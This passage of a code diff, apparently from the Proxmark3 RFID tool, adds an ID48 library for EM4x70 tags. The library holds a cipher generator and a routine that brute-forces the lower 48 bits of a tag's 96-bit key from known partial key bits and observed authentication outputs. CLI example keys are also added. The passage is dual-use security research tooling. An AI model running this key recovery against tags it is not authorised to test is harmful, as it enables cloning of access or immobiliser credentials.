// This allows simply shifting the lsb out each cycle....
INPUT_BITS2 result; result.Raw = 0;
// k[ 0] :== K₉₅..K₈₈
// ...
// k[ 7] :== K₃₉..K₃₂
// ...
// k[11] :== K₀₇..K₀₀
for (uint8_t i = 0; i < 5; ++i) {
result.Raw <<= 8;
uint8_t tmp = k->k[11 - i]; // e.g., first loop will contain K₀₇..K₀₀
tmp = reverse_bits_08(tmp); // e.g., first loop will contain K₀₀..K₀₇
result.Raw |= tmp;
}
static const uint64_t INPUT_MASK = (1ull << 40) - 1u;
ASSERT((result.Raw & (~INPUT_MASK)) == 0ull);
return result;
}
static inline bool shift_out_next_input_bit(INPUT_BITS2* inputs) {
ASSERT(inputs != nullptr);
bool result = inputs->Raw & 1ull;
inputs->Raw >>= 1;
return result;
}
static inline void shift_in_next_output_bit(OUTPUT_BITS2* outputs, bool v) {
ASSERT(outputs != nullptr);
outputs->Raw <<= 1;
if (v) outputs->Raw |= 1ull;
}
static inline void extract_frn(const OUTPUT_BITS2* outputs, ID48LIB_FRN* frn28_out) {
ASSERT(outputs != nullptr);
ASSERT(frn28_out != nullptr);
static const uint64_t C_MASK28 = (1ull << 28) - 1u;
uint64_t tmp = outputs->Raw;
tmp >>= 20; // remove the 20 bit grn (but still has 7 ignored bits)
tmp &= C_MASK28; // tmp now has exactly 28 valid bits
tmp <<= 4; // align to 32-bits for easier assignment to output
// tmp now :== O₀₀..O₂₇ 0000
frn28_out->frn[0] = (uint8_t)((tmp >> (8 * 3)) & 0xFFu);
frn28_out->frn[1] = (uint8_t)((tmp >> (8 * 2)) & 0xFFu);
frn28_out->frn[2] = (uint8_t)((tmp >> (8 * 1)) & 0xFFu);
frn28_out->frn[3] = (uint8_t)((tmp >> (8 * 0)) & 0xFFu);
}
static inline void extract_grn(const OUTPUT_BITS2* outputs, ID48LIB_GRN* grn20_out) {
ASSERT(outputs != nullptr);
ASSERT(grn20_out != nullptr);
memset(grn20_out, 0, sizeof(ID48LIB_GRN));
static const uint64_t C_MASK20 = (1ull << 20) - 1u;
uint64_t tmp = outputs->Raw;
tmp &= C_MASK20; // tmp now has exactly 20 valid bits
tmp <<= 4; // align to 24-bits for easier assignment to output
grn20_out->grn[0] = (uint8_t)((tmp >> (8 * 2)) & 0xFFu);
grn20_out->grn[1] = (uint8_t)((tmp >> (8 * 1)) & 0xFFu);
grn20_out->grn[2] = (uint8_t)((tmp >> (8 * 0)) & 0xFFu);
}
static void retro_generator_impl(
const ID48LIB_KEY* k,
const ID48LIB_NONCE* n,
ID48LIB_FRN* frn28_out,
ID48LIB_GRN* grn20_out
)
{
ASSERT(k != nullptr);
ASSERT(n != nullptr);
ASSERT(frn28_out != nullptr);
ASSERT(grn20_out != nullptr);
memset(frn28_out, 0, sizeof(ID48LIB_FRN));
memset(grn20_out, 0, sizeof(ID48LIB_GRN));
ID48LIBX_STATE_REGISTERS ssr = init_id48libx_state_register(k, n);
// get 55-bit successor state input
INPUT_BITS2 inputs = get_key_input_bits(k);
OUTPUT_BITS2 outputs; outputs.Raw = 0ull;
for (uint8_t ix = 0; ix < 55; ix++) {
ASSERT(is_ssr_state_stable(&ssr));
// input bit `i` is not valid in stable state...
bool input_bit = shift_out_next_input_bit(&inputs);
// calculate the next state... (note: logs calculations for this state)
bool output_bit = calculate_successor_state(&ssr, input_bit);
ASSERT(is_ssr_state_stable(&ssr));
// store the output bit
shift_in_next_output_bit(&outputs, output_bit);
}
// convert the output bits into frn/grn
extract_frn(&outputs, frn28_out);
extract_grn(&outputs, grn20_out);
return;
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ******************************************************************************************************************** //
// *** Everything above this line in the file is declared static, *** //
// *** which avoids polluting the global namespace. *** //
// *** Everything below is technically visible, but not necessarily an exported API. *** //
// *** In C++, this separation is much more easily achieved using an anonymous namespace. C'est la vie! *** //
// ******************************************************************************************************************** //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// internal function
ID48LIBX_SUCCESSOR_RESULT id48libx_retro003_successor(const ID48LIBX_STATE_REGISTERS* initial_state, uint8_t input_bit) {
ASSERT(initial_state != nullptr);
ID48LIBX_SUCCESSOR_RESULT r; memset(&r, 0, sizeof(ID48LIBX_SUCCESSOR_RESULT));
ID48LIBX_STATE_REGISTERS s = *initial_state;
bool output_bit = calculate_successor_state(&s, !!input_bit);
r.state.Raw = s.Raw;
r.output = output_bit;
return r;
}
// internal function
ID48LIBX_STATE_REGISTERS id48libx_retro003_init(const ID48LIB_KEY* key, const ID48LIB_NONCE* nonce) {
ASSERT(key != nullptr);
ASSERT(nonce != nullptr);
ID48LIBX_STATE_REGISTERS ssr = init_id48libx_state_register(key, nonce);
ID48LIBX_STATE_REGISTERS result; memset(&result, 0, sizeof(ID48LIBX_STATE_REGISTERS));
result.Raw = ssr.Raw;
return result;
}
// public API
void id48lib_generator(
const ID48LIB_KEY* k,
const ID48LIB_NONCE* n,
ID48LIB_FRN* frn28_out,
ID48LIB_GRN* grn20_out
)
{
retro_generator_impl(k, n, frn28_out, grn20_out);
}

View file

@ -0,0 +1,53 @@
/**
* The MIT License (MIT)
*
* Copyright (c) 2024 by Henry Gabryjelski
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
//-----------------------------------------------------------------------------
// NOTE: This file describes internal details used by the ID48 library.
// Changes to this file are unannounced, and may break any code that
// is relying on it. Nothing in this file is considered part of the
// public API.
// The public API can be found in id48.h
//-----------------------------------------------------------------------------
#if !defined(ID48_INTERNALS_H__)
#define ID48_INTERNALS_H__
#include "id48.h"
typedef struct _ID48LIBX_STATE_REGISTERS {
uint64_t Raw;
} ID48LIBX_STATE_REGISTERS;
typedef struct _ID48LIBX_SUCCESSOR_RESULT {
ID48LIBX_STATE_REGISTERS state;
bool output;
} ID48LIBX_SUCCESSOR_RESULT;
// the following are used in key recovery but implemented in id48.c
ID48LIBX_SUCCESSOR_RESULT id48libx_retro003_successor(const ID48LIBX_STATE_REGISTERS* initial_state, uint8_t input_bit);
ID48LIBX_STATE_REGISTERS id48libx_retro003_init (const ID48LIB_KEY* key, const ID48LIB_NONCE* nonce);
bool id48libx_output_lookup(uint32_t output_index);
#endif // !defined(ID48_INTERNALS_H__)

View file

@ -0,0 +1,439 @@
/**
* The MIT License (MIT)
*
* Copyright (c) 2024 by Henry Gabryjelski
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdbool.h>
#include <string.h> // memset()
#include <assert.h>
#include "id48_internals.h"
#ifndef nullptr
#define nullptr ((void*)0)
#endif
#pragma region // reverse_bits()
static inline uint8_t reverse_bits_08(uint8_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint8_t mask = (uint8_t)(~((uint8_t)(0u)));
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap);
n = (uint8_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap));
}
return n;
}
static inline uint16_t reverse_bits_16(uint16_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint16_t mask = (uint16_t)(~((uint16_t)(0u)));
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap);
n = (uint16_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap));
}
return n;
}
static inline uint32_t reverse_bits_32(uint32_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint32_t mask = (uint32_t)(~((uint32_t)(0u)));
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap);
n = (uint32_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap));
}
return n;
}
static inline uint64_t reverse_bits_64(uint64_t n) {
uint8_t bitsToSwap = sizeof(n) * 8;
uint64_t mask = (uint64_t)(~((uint64_t)(0u)));
while (bitsToSwap >>= 1) {
mask ^= mask << (bitsToSwap);
n = (uint64_t)(((n & ~mask) >> bitsToSwap) | ((n & mask) << bitsToSwap));
}
return n;
}
#pragma endregion // reverse_bits()
#define MAXIMUM_STATE_HISTORY (56u)
typedef struct _EXPECTED_OUTPUT_BITS {
uint64_t Raw; // s07: 1ull << 0, s08: 1ull << 1, s09: 1ull << 2, ... s55: 1ull << 47
} EXPECTED_OUTPUT_BITS;
typedef struct _KEY_BITS_K47_TO_K00 {
uint64_t Raw;
} KEY_BITS_K47_TO_K00;
typedef struct _RECOVERY_STATE {
/// <summary>
/// What are the 48 expected output bits?
/// Stored as 0¹⁶·O₄₇..O₀₀.
/// </summary>
EXPECTED_OUTPUT_BITS expected_output_bits; // const once initialized
/// <summary>
/// The value of the low 48-bits most recently
/// returned to the caller as a potential match.
/// </summary>
KEY_BITS_K47_TO_K00 last_returned_potential_key;
/// <summary>
/// State history. Overwritten during testing
/// of input bits (next bit of possible key).
/// Storing the full history allows backtracking
/// without re-computing the state.
/// </summary>
ID48LIBX_STATE_REGISTERS states[MAXIMUM_STATE_HISTORY]; // history ... avoids re-computation when backtracking
/// <summary>
/// The 48-bit partial key to recover the remaining 48 bits of.
/// Constant after initialization.
/// </summary>
ID48LIB_KEY known_k95_to_k48;
/// <summary>
/// The 56-bit nonce corresponding to the frn/grn (output bits).
/// Constant after initialization.
/// </summary>
ID48LIB_NONCE known_nonce;
/// <summary>
/// boolean to identify first run after initialization (an edge case)
/// </summary>
bool is_fresh_initialization;
/// <summary>
/// boolean to identify that all keys have been tested.
/// If set, caller would need to call init() function again.
/// </summary>
bool more_keys_to_test;
} RECOVERY_STATE;
// Need equivalent of the following two function pointers:
typedef ID48LIBX_SUCCESSOR_RESULT (*ID48LIB_SUCCESSOR_FN)(const ID48LIBX_STATE_REGISTERS* initial_state, uint8_t input_bit);
typedef ID48LIBX_STATE_REGISTERS(*ID48LIB_INIT_FN )(const ID48LIB_KEY* key, const ID48LIB_NONCE* nonce);
static const ID48LIB_INIT_FN init_fn = id48libx_retro003_init;
static const ID48LIB_SUCCESSOR_FN successor_fn = id48libx_retro003_successor;
/// <summary>
/// Creates PM3-formatted key with K₉₅..K₄₈ from the provided partial key,
/// and with K₄₇..K₃₃ from bit-reversed `more_bits`.
/// </summary>
/// <param name="input_partial_key">Key with K₉₅..K₄₈, in PM3 compatible layout</param>
/// <param name="more_bits">0 K₃₃..K₄₇ (to support simple incrementing input)</param>
/// <returns>PM3-formatted key: K₉₅..K₃₃ 0³³</returns>
static ID48LIB_KEY create_partial_key56(const ID48LIB_KEY * input_partial_key, uint8_t k47_to_k40) {
ID48LIB_KEY result;
result.k[ 0] = input_partial_key->k[0]; // k[ 0] :== K₉₅..K₈₈
result.k[ 1] = input_partial_key->k[1]; // k[ 1] :== K₈₇..K₈₀
result.k[ 2] = input_partial_key->k[2]; // k[ 2] :== K₇₉..K₇₂
result.k[ 3] = input_partial_key->k[3]; // k[ 3] :== K₇₁..K₆₄
result.k[ 4] = input_partial_key->k[4]; // k[ 4] :== K₆₃..K₅₆
result.k[ 5] = input_partial_key->k[5]; // k[ 5] :== K₅₅..K₄₈
result.k[ 6] = k47_to_k40; // k[ 6] :== K₄₇..K₄₀
result.k[ 7] = 0; // k[ 7] :== K₃₉..K₃₂
result.k[ 8] = 0; // k[ 8] :== K₃₁..K₂₄
result.k[ 9] = 0; // k[ 9] :== K₂₃..K₁₆
result.k[10] = 0; // k[10] :== K₁₅..K₀₈
result.k[11] = 0; // k[11] :== K₀₇..K₀₀
return result;
}
/// <summary>
/// Returns 48-bit value (using 64-bits of storage): 0¹⁶ O₄₇..O₀₀.
/// This allows simple calculation of the relevant bit to review,
/// or simply shifting the value right each time a bit is used and using lsb.
/// </summary>
/// <param name="input_frn">PM3 compatible input for frn</param>
/// <param name="input_grn">PM3 compatible input for grn</param>
/// <returns></returns>
static EXPECTED_OUTPUT_BITS create_expected_output_bits(const ID48LIB_FRN* input_frn, const ID48LIB_GRN* input_grn) {
// inputs:
// frn[ 0] :== O₀₀..O₀₇
// frn[ 1] :== O₀₈..O₁₅
// frn[ 2] :== O₁₆..O₂₃
// frn[ 3] :== O₂₄..O₂₇ 0000
// grn[ 0] :== O₂₈ .. O₃₅
// grn[ 1] :== O₃₆ .. O₄₃
// grn[ 2] :== O₄₄..O₄₇ 0000
EXPECTED_OUTPUT_BITS result; result.Raw = 0u;
result.Raw <<= 4; result.Raw |= reverse_bits_08(input_grn->grn[2] & 0xF0u); // adds grn₁₉..grn₁₆ aka O₄₇..O₄₄
result.Raw <<= 8; result.Raw |= reverse_bits_08(input_grn->grn[1] & 0xFFu); // adds grn₁₅..grn₀₈ aka O₄₃..O₃₆
result.Raw <<= 8; result.Raw |= reverse_bits_08(input_grn->grn[0] & 0xFFu); // adds grn₀₇..grn₀₀ aka O₃₅..O₂₈
result.Raw <<= 4; result.Raw |= reverse_bits_08(input_frn->frn[3] & 0xF0u); // adds frn₂₇..frn₂₄ aka O₂₇..O₂₄
result.Raw <<= 8; result.Raw |= reverse_bits_08(input_frn->frn[2] & 0xFFu); // adds frn₂₃..frn₁₆ aka O₂₃..O₁₆
result.Raw <<= 8; result.Raw |= reverse_bits_08(input_frn->frn[1] & 0xFFu); // adds frn₁₅..frn₀₈ aka O₁₅..O₀₈
result.Raw <<= 8; result.Raw |= reverse_bits_08(input_frn->frn[0] & 0xFFu); // adds frn₀₇..frn₀₀ aka O₀₇..O₀₀
return result;
}
/// <summary>
/// For a current state, get the expected output bit.
/// This is used to determine which value(s) the key bit
/// may be valid, allowing early pruning of the search space.
/// </summary>
/// <param name="recovery_state">A value in the range [0,55]</param>
/// <returns>Zero or non-zero (boolean) corresponding to the expected output.</returns>
static bool get_expected_output_bit(const RECOVERY_STATE* recovery_state, uint8_t current_state_index) {
assert(recovery_state != nullptr);
assert(current_state_index >= 7);
assert(current_state_index <= 55);
uint64_t shifted = recovery_state->expected_output_bits.Raw >> (current_state_index - 7u);
return !!(shifted & 0x1u); // return the single bit result
}
static void restart_and_calculate_s00(RECOVERY_STATE* s, const KEY_BITS_K47_TO_K00* k_low) {
assert(s != nullptr);
assert(k_low != nullptr);
memset(&(s->states[0]), 0xAA, sizeof(ID48LIBX_STATE_REGISTERS) * MAXIMUM_STATE_HISTORY);
uint8_t k47_to_k40 = (uint8_t)(k_low->Raw >> 40);
const ID48LIB_KEY start_56b_key = create_partial_key56(&(s->known_k95_to_k48), k47_to_k40);
s->states[0] = init_fn(&start_56b_key, &(s->known_nonce));
}
static bool validate_output_from_additional_fifteen_zero_bits(RECOVERY_STATE* s) {
bool all_still_match = true;
for (uint8_t i = 0; all_still_match && i < 15; i++) {
const uint8_t src_idx = 40 + i;
const ID48LIBX_STATE_REGISTERS* state = &(s->states[src_idx]);
ID48LIBX_SUCCESSOR_RESULT r = successor_fn(state, 0);
bool expected_result = get_expected_output_bit(s, src_idx);
if (expected_result != (!!r.output)) {
all_still_match = false;
}
s->states[src_idx + 1] = r.state;
}
return all_still_match;
}
// intentionally declare this global state only here, as a way
// of forcing the above functions to act on a pointer. Ensuring
// the above routines don't inadvertently use the global state
// makes it easier to enable a multi-threaded version.
RECOVERY_STATE g_S = { 0 };
static void init(
const ID48LIB_KEY * input_partial_key,
const ID48LIB_NONCE * input_nonce,
const ID48LIB_FRN * input_frn,
const ID48LIB_GRN * input_grn
)
{
memset(&g_S, 0, sizeof(RECOVERY_STATE));
memset(&(g_S.states[0]), 0xAA, sizeof(ID48LIBX_STATE_REGISTERS) * MAXIMUM_STATE_HISTORY);
g_S.known_k95_to_k48.k[0] = input_partial_key->k[0];
g_S.known_k95_to_k48.k[1] = input_partial_key->k[1];
g_S.known_k95_to_k48.k[2] = input_partial_key->k[2];
g_S.known_k95_to_k48.k[3] = input_partial_key->k[3];
g_S.known_k95_to_k48.k[4] = input_partial_key->k[4];
g_S.known_k95_to_k48.k[5] = input_partial_key->k[5];
g_S.known_nonce = *input_nonce;
g_S.expected_output_bits = create_expected_output_bits(input_frn, input_grn);
g_S.more_keys_to_test = true;
g_S.is_fresh_initialization = true;
}
static bool get_next_potential_key(
ID48LIB_KEY* potential_key_output
) {
memset(potential_key_output, 0, sizeof(ID48LIB_KEY));
// Three possible states when this function enters:
// 1. Never initialized / finished enumerating keys
// --> returns false immediately
// 2. First time after initialization
// --> key starts at zero, with zero current bits
// 3. After a key was provided as a potential match
// --> If that last reported potential match was
// all one-bits, then early-exit with false
// because the whole keyspace was exhausted.
// --> Since state stores the last key reported,
// setup to continue search at the first
// bit that was zero.
// Early exit when no more keys to test
if (!g_S.more_keys_to_test) {
return false;
}
KEY_BITS_K47_TO_K00 k_low;
int8_t current_key_bit_shift;
// Setup the next key to be tested.
if (g_S.is_fresh_initialization) {
// first-time init is easy: key is zero, and zero bits set
g_S.is_fresh_initialization = false;
k_low.Raw = 0ull;
current_key_bit_shift = 47;
}
else {
// by definition, a returned potential key had all the bits defined
current_key_bit_shift = 0;
k_low = g_S.last_returned_potential_key;
// edge case: returned potential key 0xFFFFFFFFFFFFull, so no more keys to be tested!
if (k_low.Raw == 0xFFFFFFFFFFFFull) {
g_S.more_keys_to_test = false;
return false;
}
// backtrack to first zero value, flipping bits...
if (1) {
uint64_t mask = (1ull << current_key_bit_shift);
while ((mask & k_low.Raw) != 0) {
k_low.Raw ^= mask;
mask <<= 1;
++current_key_bit_shift;
}
// and flip that next bit also
k_low.Raw ^= mask;
}
}
// TODO: move above setup to re-use code in below loop ...
// especially since backtracking logic is duplicated?
// may require re-arranging the order in which things
// occur in the while loop?
// Two exit conditions from this point on:
// 1. potential key was found (and thus returned)
// 2. no more keys to be tested (returns false)
while (1) {
// Currently, at loop start, ready to test the current bit vs. expected value
assert(current_key_bit_shift < 48);
// Anytime bit shift is 40+, changes would affect s00 ...
if (current_key_bit_shift > 39) {
restart_and_calculate_s00(&g_S, &k_low);
current_key_bit_shift = 39; // k47..k40 used to get to s00
}
assert(current_key_bit_shift < 40);
// Anytime bit shift is 33+, unconditionally calculate through s07,
// because the output bits are not exposed, and thus cannot be validated.
while (current_key_bit_shift > 32) { // k39..k33 used to move from s00-->s07
uint8_t src_idx = 39 - current_key_bit_shift;
bool input_bit = !!(((uint8_t)(k_low.Raw >> current_key_bit_shift)) & 0x1u);
ID48LIBX_SUCCESSOR_RESULT r = successor_fn(&(g_S.states[src_idx]), input_bit);
g_S.states[src_idx + 1] = r.state;
--current_key_bit_shift;
}
assert(current_key_bit_shift <= 32); // K₃₂ is used with s₀₇ to generate first output bit O₀₀
assert(current_key_bit_shift >= 0); // K₀₀ is a special case ... so negative is unexpected
// Check if the current state + current key bit (as stored) gives expected result.
const uint8_t src_idx = 39 - current_key_bit_shift;
bool input_bit = !!(((uint8_t)(k_low.Raw >> current_key_bit_shift)) & 0x1u);
ID48LIBX_SUCCESSOR_RESULT r = successor_fn(&(g_S.states[src_idx]), input_bit);
// can unconditionally overwrite next state...
g_S.states[src_idx + 1] = r.state;
bool expected_result = get_expected_output_bit(&g_S, src_idx);
bool matched = expected_result == (!!r.output);
// when matched the last bit, actually check the next 15x inputs (all zero) as well
if (matched && current_key_bit_shift == 0) {
// that was the last bit to be checked in this potential key
// but, must also test 15x additional zero bit inputs before
// reporting that this may be a potential key
assert(src_idx == 39);
matched = validate_output_from_additional_fifteen_zero_bits(&g_S);
}
// Exit point ... found a potential key!
if (matched && current_key_bit_shift == 0) {
g_S.last_returned_potential_key = k_low;
potential_key_output->k[ 0] = g_S.known_k95_to_k48.k[0];
potential_key_output->k[ 1] = g_S.known_k95_to_k48.k[1];
potential_key_output->k[ 2] = g_S.known_k95_to_k48.k[2];
potential_key_output->k[ 3] = g_S.known_k95_to_k48.k[3];
potential_key_output->k[ 4] = g_S.known_k95_to_k48.k[4];
potential_key_output->k[ 5] = g_S.known_k95_to_k48.k[5];
potential_key_output->k[ 6] = (uint8_t)(k_low.Raw >> (8 * 5));
potential_key_output->k[ 7] = (uint8_t)(k_low.Raw >> (8 * 4));
potential_key_output->k[ 8] = (uint8_t)(k_low.Raw >> (8 * 3));
potential_key_output->k[ 9] = (uint8_t)(k_low.Raw >> (8 * 2));
potential_key_output->k[10] = (uint8_t)(k_low.Raw >> (8 * 1));
potential_key_output->k[11] = (uint8_t)(k_low.Raw >> (8 * 0));
return true;
}
// that bit of the key was OK, but there are more to check
else if (matched) {
--current_key_bit_shift;
}
// wrong output generated with that bit.
// Backtrack to find next one to be tested.
else {
// not required ... but makes debugging easier
memset(&g_S.states[src_idx + 1], 0xAA, sizeof(ID48LIBX_STATE_REGISTERS));
// that bit of the key results in wrong output.
// backtrack until the next zero bit, flip it to one, and
// continue testing from there...
if (1) {
// This is ***NOT*** the same as simply adding 1.
// (Consider, for example, when current_key_bit_shift == 3.)
uint64_t mask = 1ull << current_key_bit_shift;
while ((mask & k_low.Raw) != 0) {
k_low.Raw ^= mask;
mask <<= 1;
++current_key_bit_shift;
}
// found a zero bit, so flip it
// this is the next key to test
k_low.Raw ^= mask;
}
// EXIT CONDITION: k_low wraps to invalid value
if (current_key_bit_shift >= 48) {
// no more results available ... return!
g_S.more_keys_to_test = false;
return 0u;
}
}
} // end while(1) loop
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ******************************************************************************************************************** //
// *** Everything above this line in the file is declared static, *** //
// *** which avoids polluting the global namespace. *** //
// *** Everything below is technically visible, but not necessarily an exported API. *** //
// *** In C++, this separation is much more easily achieved using an anonymous namespace. C'est la vie! *** //
// ******************************************************************************************************************** //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void id48lib_key_recovery_init(
const ID48LIB_KEY * input_partial_key,
const ID48LIB_NONCE * input_nonce,
const ID48LIB_FRN * input_frn,
const ID48LIB_GRN * input_grn
)
{
init(input_partial_key, input_nonce, input_frn, input_grn);
}
bool id48lib_key_recovery_next(
ID48LIB_KEY* potential_key_output
) {
return get_next_potential_key(potential_key_output);
}

View file

@ -0,0 +1,9 @@
add_library(pm3rrg_rdv4_id48 STATIC
id48/id48_data.c
id48/id48_generator.c
id48/id48_recover.c
)
target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function)
target_include_directories(pm3rrg_rdv4_id48 PRIVATE id48)
target_include_directories(pm3rrg_rdv4_id48 INTERFACE id48)
set_property(TARGET pm3rrg_rdv4_id48 PROPERTY POSITION_INDEPENDENT_CODE ON)

View file

@ -23,6 +23,8 @@
#include "fileutils.h" #include "fileutils.h"
#include "commonutil.h" #include "commonutil.h"
#include "em4x70.h" #include "em4x70.h"
#include "id48.h"
#include "time.h"
#define LOCKBIT_0 BITMASK(6) #define LOCKBIT_0 BITMASK(6)
#define LOCKBIT_1 BITMASK(7) #define LOCKBIT_1 BITMASK(7)
@ -31,6 +33,15 @@
static int CmdHelp(const char *Cmd); static int CmdHelp(const char *Cmd);
static void fill_buffer_prng_bytes(void* buffer, size_t byte_count) {
if (byte_count <= 0) return;
srand((unsigned) time(NULL));
for (size_t i = 0; i < byte_count; i++) {
((uint8_t*)buffer)[i] = (uint8_t)rand();
}
}
static void print_info_result(const uint8_t *data) { static void print_info_result(const uint8_t *data) {
PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "");
@ -52,7 +63,7 @@ static void print_info_result(const uint8_t *data) {
} }
PrintAndLogEx(INFO, "------+----------+-----------------------------"); PrintAndLogEx(INFO, "------+----------+-----------------------------");
// Print Crypt Key (will never have data) // Print Key (will never have data)
for (int i = 12; i < 24; i += 2) { for (int i = 12; i < 24; i += 2) {
PrintAndLogEx(INFO, " %2d | -- -- | KEY write-only", INDEX_TO_BLOCK(i)); PrintAndLogEx(INFO, " %2d | -- -- | KEY write-only", INDEX_TO_BLOCK(i));
} }
@ -109,6 +120,13 @@ bool detect_4x70_block(void) {
return em4x70_info() == PM3_SUCCESS; return em4x70_info() == PM3_SUCCESS;
} }
// TODO: split the below functions, so can use them as building blocks for more complex interactions
// without generating fake `const char *Cmd` strings. First targets:
// Auth
// Write
// WriteKey
// Together, they will allow writekey to verify the key was written correctly.
int CmdEM4x70Info(const char *Cmd) { int CmdEM4x70Info(const char *Cmd) {
// envoke reading of a EM4x70 tag which has to be on the antenna because // envoke reading of a EM4x70 tag which has to be on the antenna because
@ -388,8 +406,10 @@ int CmdEM4x70Auth(const char *Cmd) {
CLIParserInit(&ctx, "lf em 4x70 auth", CLIParserInit(&ctx, "lf em 4x70 auth",
"Authenticate against an EM4x70 by sending random number (RN) and F(RN)\n" "Authenticate against an EM4x70 by sending random number (RN) and F(RN)\n"
" If F(RN) is incorrect based on the tag crypt key, the tag will not respond", " If F(RN) is incorrect based on the tag key, the tag will not respond\n"
"lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 --> Test authentication, tag will respond if successful\n" " If F(RN) is correct based on the tag key, the tag will give a 20-bit response\n",
"lf em 4x70 auth --rnd 45F54ADA252AAC --frn 4866BB70 --> (using pm3 test key)\n"
"lf em 4x70 auth --rnd 3FFE1FB6CC513F --frn F355F1A0 --> (using research paper key)\n"
); );
void *argtable[] = { void *argtable[] = {
@ -499,20 +519,21 @@ int CmdEM4x70WritePIN(const char *Cmd) {
int CmdEM4x70WriteKey(const char *Cmd) { int CmdEM4x70WriteKey(const char *Cmd) {
// Write new crypt key to tag // Write new key to tag
em4x70_data_t etd = {0}; em4x70_data_t etd = {0};
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "lf em 4x70 writekey", CLIParserInit(&ctx, "lf em 4x70 writekey",
"Write new 96-bit key to tag\n", "Write new 96-bit key to tag\n",
"lf em 4x70 writekey -k F32AA98CF5BE4ADFA6D3480B\n" "lf em 4x70 writekey -k F32AA98CF5BE4ADFA6D3480B (pm3 test key)\n"
"lf em 4x70 writekey -k A090A0A02080000000000000 (research paper key)\n"
); );
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_lit0(NULL, "par", "Add parity bit when sending commands"), arg_lit0(NULL, "par", "Add parity bit when sending commands"),
arg_str1("k", "key", "<hex>", "Crypt Key as 12 hex bytes"), arg_str1("k", "key", "<hex>", "Key as 12 hex bytes"),
arg_param_end arg_param_end
}; };
@ -526,7 +547,7 @@ int CmdEM4x70WriteKey(const char *Cmd) {
CLIParserFree(ctx); CLIParserFree(ctx);
if (key_len != 12) { if (key_len != 12) {
PrintAndLogEx(FAILED, "Crypt key length must be 12 bytes instead of %d", key_len); PrintAndLogEx(FAILED, "Key length must be 12 bytes instead of %d", key_len);
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -540,23 +561,236 @@ int CmdEM4x70WriteKey(const char *Cmd) {
} }
if (resp.status) { if (resp.status) {
PrintAndLogEx(INFO, "Writing new crypt key: " _GREEN_("ok")); PrintAndLogEx(INFO, "Writing new key: " _GREEN_("ok"));
// TODO: use prng to generate a new nonce, calculate frn/grn, and authenticate with tag
return PM3_SUCCESS; return PM3_SUCCESS;
} }
PrintAndLogEx(FAILED, "Writing new crypt key: " _RED_("failed")); PrintAndLogEx(FAILED, "Writing new key: " _RED_("failed"));
return PM3_ESOFT; return PM3_ESOFT;
} }
// largest seen "in the wild" was 6
#define MAXIMUM_ID48_RECOVERED_KEY_COUNT 10
typedef struct _em4x70_recovery_data_t {
ID48LIB_KEY key;
ID48LIB_NONCE nonce;
ID48LIB_FRN frn;
ID48LIB_GRN grn;
bool verify; // if true, tag must be present
bool parity; // if true, add parity bit to commands sent to tag
uint8_t keys_found_count;
uint8_t keys_validated_count;
ID48LIB_KEY potential_keys[MAXIMUM_ID48_RECOVERED_KEY_COUNT];
ID48LIB_NONCE alt_nonce;
ID48LIB_FRN alt_frn[MAXIMUM_ID48_RECOVERED_KEY_COUNT];
ID48LIB_GRN alt_grn[MAXIMUM_ID48_RECOVERED_KEY_COUNT];
bool potential_keys_validated[MAXIMUM_ID48_RECOVERED_KEY_COUNT];
